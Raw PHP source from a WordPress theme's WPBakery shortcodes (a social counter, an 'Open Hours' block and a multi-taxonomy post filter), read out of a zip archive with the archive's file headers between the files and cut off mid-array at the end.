									<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
									<?php if ( $count && 'yes' != $hide_count ) { ?>
										<span class="pcsoc-counter"><?php echo $count; ?></span>
										<span class="pcsoc-fan"><?php echo $social_follower; ?></span>
									<?php } else { ?>
										<span class="pcsoc-counter pcsoc-socname"><?php echo $social; ?></span>
									<?php } ?>
									<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
										<span class="pcsoc-like"><?php echo $social_follow; ?></span>
									<?php } ?>
								</a>
							</div>
							<?php
						}
					} else {
						$custom_social_icons = get_option( 'penci_custom_socials', array() );
						$socials             = penci_social_media_array();
						foreach ( $socials as $social => $sdata ) {

							if ( empty( $atts[ 'social_profile_' . $social ] ) ) {
								continue;
							}

							$social_icon   = penci_icon_by_ver( $sdata[1] );
							$social_follow = penci_get_setting( 'penci_trans_follow' );
							$social_url    = esc_url( do_shortcode( $sdata[0] ) );
							$name          = isset( $custom_social_icons[ $social ]['name'] ) ? $custom_social_icons[ $social ]['name'] : $social;
							?>
							<div class="pcsoc-item-wrap">
								<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?> empty-count"
									href="<?php echo esc_url( $social_url ); ?>"
									target="_blank" <?php echo penci_reltag_social_icons(); ?>>
									<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
									<span class="pcsoc-counter pcsoc-socname"><?php echo $name; ?></span>
									<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
										<span class="pcsoc-like"><?php echo $social_follow; ?></span>
									<?php } ?>
								</a>
							</div>
							<?php
						}
					}
					?>
				</div>
			</div>
		</div>
	</div>
<?php

$id_social_counter  = '#' . $block_id;
$id_social_counter2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom         = Penci_Vc_Helper::get_heading_block_css( $id_social_counter, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	if ( $counter_item_icon_size ) {
		echo penci_extract_md_responsive_fsize( $id_social_counter . ' .pcsoc-icon i{font-size:{{VALUE}}px}', $counter_item_icon_size );
		echo penci_extract_md_responsive_fsize( $id_social_counter . ' .pcsoc-icon pcsocs-s3 i{line-height:{{VALUE}}px}', $counter_item_icon_size );
	}
	if ( $bgcl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,.pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{background-color:' . $bgcl . '}';
	}
	if ( $hbgcl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{background-color:' . $hbgcl . '}';
	}
	if ( $bordercl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{border-color:' . $bordercl . '}';
	}
	if ( $borderhcl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{border-color:' . $borderhcl . '}';
	}
	if ( $textcl ) {
		echo $id_social_counter2 . ' .pcsoc-item i{color:' . $textcl . '}';
	}
	if ( $texthcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover i{color:' . $texthcl . '}';
	}
	if ( $countcl ) {
		echo $id_social_counter2 . ' .pcsoc-counter{color:' . $countcl . '}';
	}
	if ( $counthcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover .pcsoc-counter{color:' . $counthcl . '}';
	}
	if ( $fanscl ) {
		echo $id_social_counter2 . ' .pcsoc-item .pcsoc-fan{color:' . $fanscl . '}';
	}
	if ( $fanshcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover .pcsoc-fan{color:' . $fanshcl . '}';
	}
	if ( $followcl ) {
		echo $id_social_counter2 . ' .pcsoc-item .pcsoc-like{color:' . $followcl . '}';
	}
	if ( $followhcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover .pcsoc-like{color:' . $followhcl . '}';
	}
	if ( $hospace ) {
		echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-space:' . $hospace . 'px}';
	}
	if ( $verspace ) {
		echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-bspace:' . $verspace . 'px}';
	}
	if ( $countersize ) {
		echo $id_social_counter . ' .pcsoc-counter{font-size:' . $countersize . 'px}';
	}
	if ( $fansize ) {
		echo $id_social_counter . ' .pcsoc-item .pcsoc-fan{font-size:' . $fansize . 'px}';
	}
	echo '</style>';
}
PK     0w\'E{  {  .  js_composer/shortcodes/open_hours/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_open_hours",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/open_hours/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Open Hours', 'soledad' ),
	'description'   => 'Open Hours Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'param_group',
				'heading'    => 'Content',
				'param_name' => 'working_hours',
				'value'      => urlencode( json_encode( array(
					array(
						'icon'  => 'far fa-clock',
						'title' => 'Monday',
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => 'Tuesday',
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => 'Wednessday',
						'hours' => '8:00 AM - 9:00 PM'
					)
				) ) ),
				'params'     => array(
					array(
						'type'       => 'iconpicker',
						'heading'    => __( 'Icon', 'soledad' ),
						'param_name' => 'icon',
						'value'      => '',
						'settings'   => array(
							'emptyIcon'    => true,
							'iconsPerPage' => 4000,
						)
					),
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Title', 'soledad' ),
						'param_name'  => 'title',
						'admin_label' => true
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Subtitle', 'soledad' ),
						'param_name' => 'subtitle'
					),
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Hours or Price', 'soledad' ),
						'param_name'  => 'hours',
						'admin_label' => true
					)
				)
			),
			array(
				'type'       => 'penci_only_number',
				'heading'    => esc_html__( 'Space Item', 'soledad' ),
				'param_name' => 'row_gap',
				'value'      => 0,
				'min'        => 0,
				'max'        => 200,
				'suffix'     => 'px',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'subtitle_martop',
				'heading'    => __( 'Subtitle margin top', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_icon_settings',
				'heading'          => esc_html__( 'Icon of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon color', 'soledad' ),
				'param_name'       => 'ophour_icon_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'ophour_icon_size',
				'heading'          => __( 'Font size for Icon', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_title_settings',
				'heading'          => esc_html__( 'Title of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Title color', 'soledad' ),
				'param_name'       => 'ophour_title_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'ophour_title_typo',
				'value'      => '',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'ophour_title_size',
				'heading'    => __( 'Font Size for Title', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,

				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_subtitle_settings',
				'heading'          => esc_html__( 'Subtitle of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Subtitle color', 'soledad' ),
				'param_name'       => 'ophour_subtitle_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'ophour_subtitle_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'ophour_subtitle_size',
				'heading'          => __( 'Font Size for Subtitle', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_hour_settings',
				'heading'          => esc_html__( 'Hours or Price of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Hours or Price Color', 'soledad' ),
				'param_name'       => 'ophour_hour_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'ophour_hour_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'ophour_hour_size',
				'heading'          => __( 'Font size for Hours or Price', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Font Weight for Hours or Price', 'soledad' ),
				'param_name'       => 'ophour_hour_weight',
				'value'            => array(
					__( 'Default', 'soledad' ) => '',
					'Normal'                   => 'normal',
					'Bold'                     => 'bold',
					'Bolder'                   => 'bolder',
					'Lighter'                  => 'lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900',
				),
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6'
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\@R  R  .  js_composer/shortcodes/open_hours/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$working_hours         = $row_gap = $subtitle_martop = '';
$ophour_icon_color     = $ophour_icon_size = '';
$ophour_title_color    = $ophour_title_size = $ophour_title_typo = '';
$ophour_subtitle_color = $ophour_subtitle_size = $ophour_subtitle_typo = '';
$ophour_hour_color     = $ophour_hour_size = $ophour_hour_weight = $ophour_hour_typo = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$working_hours = (array) vc_param_group_parse_atts( $working_hours );

if ( ! $working_hours ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-working-hours';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'open_hours' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div class="penci-workingh-lists">
                <ul>
					<?php foreach ( (array) $working_hours as $hour ):
						$icon = isset( $hour['icon'] ) ? $hour['icon'] : '';
						$title = isset( $hour['title'] ) ? $hour['title'] : '';
						$hours = isset( $hour['hours'] ) ? $hour['hours'] : '';
						$subtitle = isset( $hour['subtitle'] ) ? $hour['subtitle'] : '';

						?>
                        <li class="penci-workingh-item">
                            <div class="penci-workingh-item-inner">
                                <div class="penci-workingh-line1">
                                    <div class="penci-icontitle">
										<?php
										if ( $icon ) {
											echo '<i class="penci-listitem-icon ' . $icon . '"></i>';
										}
										if ( $title ) {
											echo '<span class="penci-listitem-title">' . $title . '</span>';
										}
										?>
                                    </div>
									<?php
									if ( $hours ) {
										echo '<span class="penci-listitem-hours">' . $hours . '</span>';
									}
									?>
                                </div>
								<?php
								if ( $subtitle ) {
									echo '<span class="penci-listitem-subtitle">' . $subtitle . '</span>';
								}
								?>
                            </div>
                        </li>
					<?php endforeach; ?>

                </ul>
            </div>
        </div>
    </div>
<?php

$id_open_hours = '#' . $block_id;
$id_open_hours2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $id_open_hours, $atts );

if ( $row_gap ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-item{ margin-bottom: {{VALUE}}px;}', $row_gap );
}
if ( $subtitle_martop ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-listitem-subtitle{ margin-top: {{VALUE}}px;}', $subtitle_martop );
}
if ( $ophour_icon_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-icon{ color: ' . esc_attr( $ophour_icon_color ) . ';}';
}
if ( $ophour_icon_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-icon{ font-size: {{VALUE}}px;}', $ophour_icon_size );
}
if ( $ophour_title_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-title{ color: ' . esc_attr( $ophour_title_color ) . ';}';
}
if ( $ophour_title_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-title{ font-size: {{VALUE}}px;}', $ophour_title_size );
}
if ( $ophour_subtitle_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-subtitle{ color: ' . esc_attr( $ophour_subtitle_color ) . ';}';
}
if ( $ophour_subtitle_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-subtitle{ font-size: {{VALUE}}px;}', $ophour_subtitle_size );
}
if ( $ophour_hour_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-hours{ color: ' . esc_attr( $ophour_hour_color ) . ';}';
}
if ( $ophour_hour_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-hours{ font-size: {{VALUE}}px;}', $ophour_hour_size );
}
if ( $ophour_hour_weight ) {
	$css_custom .= $id_open_hours . ' .penci-workingh-lists .penci-listitem-hours{ font-weight: ' . esc_attr( $ophour_hour_weight ) . ';}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_open_hours, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\Ed  d  A  js_composer/shortcodes/multi_taxonomies_posts_filter/settings.phpnu [        <?php
vc_map( array(
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Multi Taxonomies Posts Filter', 'soledad' ),
	'base'          => 'multi_taxonomies_posts_filter',
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/multi_taxonomies_posts_filter/frontend.php',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'weight'        => 700,
	'params'        => array_merge( array(
		// General
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_gnr_heading',
			'heading'          => esc_html__( 'General', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy Posistion', 'soledad' ),
			'param_name'       => 'tax_position',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Sticky', 'soledad' ),
			'param_name'       => 'tax_sticky',
			'value'            => 'yes',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy', 'soledad' ),
			'param_name'       => 'tax',
			'value'            => penci_wpbakery_taxonomies_list_arr(),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies_in',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_posts_arr(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Excluded Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies_ex',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_posts_arr(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Limit Terms to Show', 'soledad' ),
			'param_name'       => 'number',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Posts Count', 'soledad' ),
			'param_name'       => 'count',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy Order By', 'soledad' ),
			'param_name'       => 'orderby',
			'value'            => array_flip( array(
				'term_id' => __( 'ID', 'soledad' ),
				'name'    => __( 'Name', 'soledad' ),
				'slug'    => __( 'Slug', 'soledad' ),
				'count'   => __( 'Count', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy Order', 'soledad' ),
			'param_name'       => 'order',
			'value'            => array_flip( array(
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Order By', 'soledad' ),
			'param_name'       => 'post_orderby',
			'value'            => array_flip( array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __( 'Post ID', 'soledad' ),
				'modified'      => __( 'Modified Date', 'soledad' ),
				'title'         => __( 'Post Title', 'soledad' ),
				'rand'          => __( 'Random Posts', 'soledad' ),
				'comment_count' => __( 'Comment Count', 'soledad' ),
				'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __( 'Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Order', 'soledad' ),
			'param_name'       => 'post_order',
			'value'            => array_flip( array(
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Posts Per Page', 'soledad' ),
			'param_name'       => 'posts_per_page',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Style', 'soledad' ),
			'param_name'       => 'paging',
			'value'            => array(
				esc_html__( 'None', 'soledad' )                   => 'none',
				esc_html__( 'Load More Posts Button', 'soledad' ) => 'loadmore',
				esc_html__( 'Infinite Scroll', 'soledad' )        => 'scroll',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Desktop:', 'soledad' ),
			'param_name'       => 'column',
			'std'              => '1',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Tablet', 'soledad' ),
			'param_name'       => 'tab_column',
			'std'              => '2',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Mobile', 'soledad' ),
			'param_name'       => 'mb_column',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Vertical Align', 'soledad' ),
			'param_name'       => 'vertical_position',
			'value'            => array(
				'Top'    => 'top',
				'Middle' => 'middle',
				'Bottom' => 'bottom',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Content Text Align', 'soledad' ),
			'param_name'       => 'text_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Align', 'soledad' ),
			'param_name'       => 'paging_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'align-center',
				esc_html__( 'Left', 'soledad' )   => 'align-left',
				esc_html__( 'Right', 'soledad' )  => 'align-right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Image
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_img_settings',
			'heading'          => esc_html__( 'Image Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Hide Featured Image?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_thumb',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Position', 'soledad' ),
			'param_name'       => 'imgpos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
				esc_html__( 'Top', 'soledad' )   => 'top',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Width', 'soledad' ),
			'param_name'       => 'imgwidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Align', 'soledad' ),
			'param_name'       => 'image_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Ratio', 'soledad' ),
			'param_name'       => 'img_ratio',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Lazyload Images?', 'soledad' ),
			'param_name'       => 'disable_lazy',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'thumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size for Mobile', 'soledad' ),
			'param_name'       => 'mthumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'No Crop Image?', 'soledad' ),
			'param_name'       => 'nocrop',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'imgtop_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Post Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Showing Post Meta', 'soledad' ),
			'param_name'       => 'post_meta',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => array(
					[
						'value' => 'cat',
						'label' => esc_html__( 'Categories', 'soledad' ),
					],
					[
						'value' => 'title',
						'label' => esc_html__( 'Title', 'soledad' ),
					],
					[
						'value' => 'author',
						'label' => esc_html__( 'Author', 'soledad' ),
					],
					[
						'value' => 'date',
						'label' => esc_html__( 'Date', 'soledad' ),
					],
					[
						'value' => 'comment',
						'label' => esc_html__( 'Comments', 'soledad' ),
					],
					[
						'value' => 'views',
						'label' => esc_html__( 'Views', 'soledad' ),
					],
					[
						'value' => 'reading',
						'label' => esc_html__( 'Reading Time', 'soledad' ),
					],
				),
			),
			'description'      => 'Support showing: Categories, Title, Author, Date, Comments, Views, Reading Time',
			'value'            => 'cat,title,date',
			'std'              => 'cat,title,date',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Primary Category Only', 'soledad' ),
			'param_name'       => 'primary_cat',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Title Words Length', 'soledad' ),
			'param_name'       => 'title_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Position', 'soledad' ),
			'param_name'       => 'date_pos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'date_align',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Post Date Width', 'soledad' ),
			'param_name'       => 'datewidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'dformat',
			'value'            => array(
				'Default'  => '',
